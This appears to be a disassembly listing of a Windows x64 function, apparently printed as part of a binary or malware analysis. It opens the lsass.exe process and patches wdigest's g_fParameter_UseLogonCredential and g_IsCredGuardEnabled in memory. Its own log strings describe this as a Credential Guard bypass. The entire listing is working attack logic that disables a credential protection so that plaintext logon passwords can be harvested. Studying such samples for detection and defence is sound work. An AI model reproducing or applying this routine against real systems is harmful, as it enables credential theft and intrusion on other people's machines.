Function at 0x14004dd0c
Capabilities:
Enumerate process modules
Enumerate processes

Disassembly:
jmp 0x140057340
push rbp
push rdi
mov eax, 0x1d28
call fcn.14004da3c
sub rsp, rax
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x5be
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140131878]
xor rax, rbp
mov qword [rbp + 0x1ce0], rax
lea rcx, [0x14014302f]
call fcn.1400508f4
mov dword [rbp + 0x50], 0x238
mov dword [rbp + 0x58], 0
xor edx, edx
mov ecx, 2
call fcn.14004eafe
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0xffffffffffffffff
jne 0x1400573be
lea rcx, str.____Cred_Guard_bypass_failed:_impossible_to_get_snapshot_of_the_systems_processes__CreateToolhelp32Snapshot_
call fcn.14004f4d1
mov eax, 1
jmp 0x140057a34
lea rdx, [rbp + 0x50]
mov rcx, qword [rbp + 8]
call fcn.14004f260
test eax, eax
jne 0x1400573ef
lea rcx, str.____Cred_Guard_bypass_failed:_obtained_invalid_process_handle
call fcn.14004f4d1
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x140057a34
lea rdx, str.lsass.exe
lea rcx, [rbp + 0x7c]
call fcn.14004ebc1
test eax, eax
jne 0x140057405
jmp 0x140057416
lea rdx, [rbp + 0x50]
mov rcx, qword [rbp + 8]
call fcn.140050084
test eax, eax
jne 0x1400573ef
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, str.lsass.exe
lea rcx, [rbp + 0x7c]
call fcn.14004ebc1
test eax, eax
jne 0x14005743a
cmp dword [rbp + 0x58], 0
jne 0x140057450
lea rcx, str.____Cred_Guard_bypass_failed:_coudlnt_find_LSASS_process
call fcn.14004f4d1
mov eax, 1
jmp 0x140057a34
mov r8d, dword [rbp + 0x58]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
je 0x140057473
cmp qword [rbp + 0x28], 0xffffffffffffffff
jne 0x140057491
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Cred_Guard_bypass_failed:_couldnt_open_lsass_memory__OpenProcess__error_code_0x_lx__n
call fcn.14004d24e
mov eax, 1
jmp 0x140057a34
lea rax, [rbp + 0x2b0]
mov rdi, rax
xor eax, eax
mov ecx, 0x1000
rep stosb byte [rdi], al
lea r9, [rbp + 0x12c4]
mov r8d, 0x1000
lea rdx, [rbp + 0x2b0]
mov rcx, qword [rbp + 0x28]
call fcn.14004d50f
test eax, eax
jne 0x1400574ed
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Cred_Guard_bypass_failed:_couldnt_enumerate_lsass_loaded_modules__EnumProcessModules__error_code_0x_lx__n
call fcn.14004d24e
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x140057a34
mov dword [rbp + 0x12e4], 0
mov dword [rbp + 0x1534], 0
jmp 0x140057511
mov eax, dword [rbp + 0x1534]
inc eax
mov dword [rbp + 0x1534], eax
mov eax, dword [rbp + 0x1534]
mov qword [rbp + 0x1cd8], rax
mov ecx, dword [rbp + 0x12c4]
xor edx, edx
mov eax, ecx
mov ecx, 8
div rcx
mov rcx, qword [rbp + 0x1cd8]
cmp rcx, rax
jae 0x140057a24
mov eax, dword [rbp + 0x1534]
cmp qword [rbp + rax*8 + 0x2b0], 0
je 0x140057599
mov eax, dword [rbp + 0x1534]
mov r9d, 0x104
lea r8, [rbp + 0x1310]
mov rdx, qword [rbp + rax*8 + 0x2b0]
mov rcx, qword [rbp + 0x28]
call fcn.14004e888
test eax, eax
jne 0x140057599
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov edx, dword [rbp + 0x1534]
lea rcx, str.____Cred_Guard_bypass_non_fatal_error:_couldnt_get_module_name_for_module_at_index_0x_lx__GetModuleFileNameEx__error_code_0x_lx__n
call fcn.14004d24e
jmp 0x140057503
lea rdx, str.wdigest
lea rcx, [rbp + 0x1310]
call fcn.14004ed42
test rax, rax
je 0x140057a1f
lea rax, [rbp + 0x1558]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
mov eax, dword [rbp + 0x1534]
cmp qword [rbp + rax*8 + 0x2b0], 0
je 0x140057621
mov eax, dword [rbp + 0x1534]
mov r9d, 0x18
lea r8, [rbp + 0x1558]
mov rdx, qword [rbp + rax*8 + 0x2b0]
mov rcx, qword [rbp + 0x28]
call fcn.14004dff5
test eax, eax
jne 0x140057621
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov edx, dword [rbp + 0x1534]
lea rcx, str.____Cred_Guard_bypass_non_fatal_error:_couldnt_get_module_information_for_module_at_index_0x_lx__GetModuleInformation__error_code_0x_lx__n
call fcn.14004d24e
jmp 0x140057503
mov rax, qword [rbp + 0x1558]
mov qword [rbp + 0x1588], rax
mov dword [rbp + 0x15a4], 0
mov dword [rbp + 0x15c4], 4
mov qword [rbp + 0x15e8], 0
mov qword [rbp + 0x1608], 0
mov rax, qword [0x140132fa0]
mov rcx, qword [rbp + 0x1588]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x1628], rax
mov dword [rbp + 0x1644], 1
mov rdx, qword [rbp + 0x1628]
lea rcx, str.___Attempting_to_patch_wdigests_g_fParameter_UseLogonCredential_at_0x_I64x_n
call fcn.14004d24e
mov eax, dword [rbp + 0x15c4]
lea rcx, [rbp + 0x15e8]
mov qword [rsp + 0x20], rcx
mov r9d, eax
lea r8, [rbp + 0x15a4]
mov rdx, qword [rbp + 0x1628]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x1400576d6
mov edx, dword [rbp + 0x15a4]
lea rcx, str.___Found_wdigests_g_fParameter_UseLogonCredential_with_a_current_value_of_0x_lx_n
call fcn.14004d24e
jmp 0x1400576ef
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Cred_Guard_bypass_fatal_error:_couldnt_retrieve_wdigests_g_fParameter_UseLogonCredential_value__ReadProcessMemory__error_code_0x_lx_._An_overwrite_will_not_be_attempted._n
call fcn.14004d24e
jmp 0x140057a24
mov eax, dword [rbp + 0x1644]
cmp dword [rbp + 0x15a4], eax
je 0x1400577b4
lea rax, [rbp + 0x1608]
mov qword [rsp + 0x20], rax
mov r9d, 4
lea r8, [rbp + 0x1644]
mov rdx, qword [rbp + 0x1628]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140057799
mov eax, dword [rbp + 0x15c4]
lea rcx, [rbp + 0x15e8]
mov qword [rsp + 0x20], rcx
mov r9d, eax
lea r8, [rbp + 0x15a4]
mov rdx, qword [rbp + 0x1628]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [rbp + 0x1644]
cmp dword [rbp + 0x15a4], eax
jne 0x14005777e
mov edx, dword [rbp + 0x15a4]
lea rcx, str.___Successfully_overwrote_wdigests_g_fParameter_UseLogonCredential_value_to_0x_lx_n
call fcn.14004d24e
jmp 0x140057797
mov r8d, dword [rbp + 0x1644]
mov edx, dword [rbp + 0x15a4]
lea rcx, str.____Cred_Guard_bypass_fatal_error:_unsuccessful_overwrite_of_wdigests_g_fParameter_UseLogonCredential_value__current_value_0x_lx_instead_of_0x_lx__n
call fcn.14004d24e
jmp 0x1400577b2
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Cred_Guard_bypass_fatal_error:_an_error_occurred_will_attempting_to_overwrite_wdigests_g_fParameter_UseLogonCredential_value__WriteProcessMemory__error_code_0x_lx__n
call fcn.14004d24e
jmp 0x140057a24
jmp 0x1400577c0
lea rcx, str.___wdigests_g_fParameter_UseLogonCredential_is_already_patched_
call fcn.14004f4d1
lea rcx, [0x1400fa384]
call fcn.14004f4d1
mov rax, qword [0x140132fa8]
mov rcx, qword [rbp + 0x1588]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x1668], rax
mov dword [rbp + 0x1684], 0
mov dword [rbp + 0x15a4], 0
mov qword [rbp + 0x15e8], 0
mov qword [rbp + 0x1608], 0
mov dword [rbp + 0x16a4], 0
mov rdx, qword [rbp + 0x1668]
lea rcx, str.___Attempting_to_patch_wdigests_g_IsCredGuardEnabled_at_0x_I64x_n
call fcn.14004d24e
lea rcx, str.___Attempting_to_set_wdigests_g_IsCredGuardEnabled_memory_protection_as_PAGE_READWRITE
call fcn.14004f4d1
lea rax, [rbp + 0x16a4]
mov qword [rsp + 0x20], rax
mov r9d, 4
mov r8d, 4
mov rdx, qword [rbp + 0x1668]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
jne 0x140057880
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Cred_Guard_bypass_fatal_error:_Failed_to_set_wdigests_g_IsCredGuardEnabled_memory_protection_to_PAGE_READWRITE__VirtualProtectEx__error_code_0x_lx__n
call fcn.14004d24e
jmp 0x140057a24
mov eax, dword [rbp + 0x15c4]
lea rcx, [rbp + 0x15e8]
mov qword [rsp + 0x20], rcx
mov r9d, eax
lea r8, [rbp + 0x15a4]
mov rdx, qword [rbp + 0x1668]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x1400578c5
mov edx, dword [rbp + 0x15a4]
lea rcx, str.___Found_wdigests_g_IsCredGuardEnabled_with_a_current_value_of_0x_lx_n
call fcn.14004d24e
jmp 0x1400578de
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Cred_Guard_bypass_fatal_error:_couldnt_retrieve_wdigests_g_IsCredGuardEnabled_value__ReadProcessMemory__error_code_0x_lx_._An_overwrite_will_not_be_attempted._n
call fcn.14004d24e
jmp 0x140057a24
mov eax, dword [rbp + 0x1684]
cmp dword [rbp + 0x15a4], eax
je 0x1400579a3
lea rax, [rbp + 0x1608]
mov qword [rsp + 0x20], rax
mov r9d, 4
lea r8, [rbp + 0x1684]
mov rdx, qword [rbp + 0x1668]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140057988
mov eax, dword [rbp + 0x15c4]
lea rcx, [rbp + 0x15e8]
mov qword [rsp + 0x20], rcx
mov r9d, eax
lea r8, [rbp + 0x15a4]
mov rdx, qword [rbp + 0x1668]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [rbp + 0x1684]
cmp dword [rbp + 0x15a4], eax
jne 0x14005796d
mov edx, dword [rbp + 0x15a4]
lea rcx, str.___Successfully_overwrote_wdigests_g_IsCredGuardEnabled_value_to_0x_lx_n
call fcn.14004d24e
jmp 0x140057986
mov r8d, dword [rbp + 0x1684]
mov edx, dword [rbp + 0x15a4]
lea rcx, str.____Cred_Guard_bypass_fatal_error:_unsuccessful_overwrite_of_wdigests_g_IsCredGuardEnabled_value__current_value_0x_lx_instead_of_0x_lx__n
call fcn.14004d24e
jmp 0x1400579a1
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Cred_Guard_bypass_fatal_error:_an_error_occurred_will_attempting_to_overwrite_wdigests_g_IsCredGuardEnabled_value__WriteProcessMemory__error_code_0x_lx__n
call fcn.14004d24e
jmp 0x140057a24
jmp 0x1400579af
lea rcx, str.___wdigests_g_IsCredGuardEnabled_is_already_patched_
call fcn.14004f4d1
mov dword [rbp + 0x16c4], 0
lea rax, [rbp + 0x16c4]
mov qword [rsp + 0x20], rax
mov r9d, dword [rbp + 0x16a4]
mov r8d, 4
mov rdx, qword [rbp + 0x1668]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
jne 0x1400579fd
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Cred_Guard_bypass_non_fatal_error:_Failed_to_restore_wdigests_g_IsCredGuardEnabled_memory_protection_to_its_original_value__VirtualProtectEx__error_code_0x_lx__n
call fcn.14004d24e
jmp 0x140057a09
lea rcx, str.___Successfully_restored_wdigests_g_IsCredGuardEnabled_memory_protection_to_its_original_value
call fcn.14004f4d1
lea rcx, [0x1400fa384]
call fcn.14004f4d1
mov dword [rbp + 0x12e4], 1
jmp 0x140057503
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rbp + 0x12e4]
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x1400fafd0]
call fcn.14004fed6
mov rax, rdi
mov rcx, qword [rbp + 0x1ce0]
xor rcx, rbp
call fcn.14004eb76
lea rsp, [rbp + 0x1cf8]
pop rdi
pop rbp
ret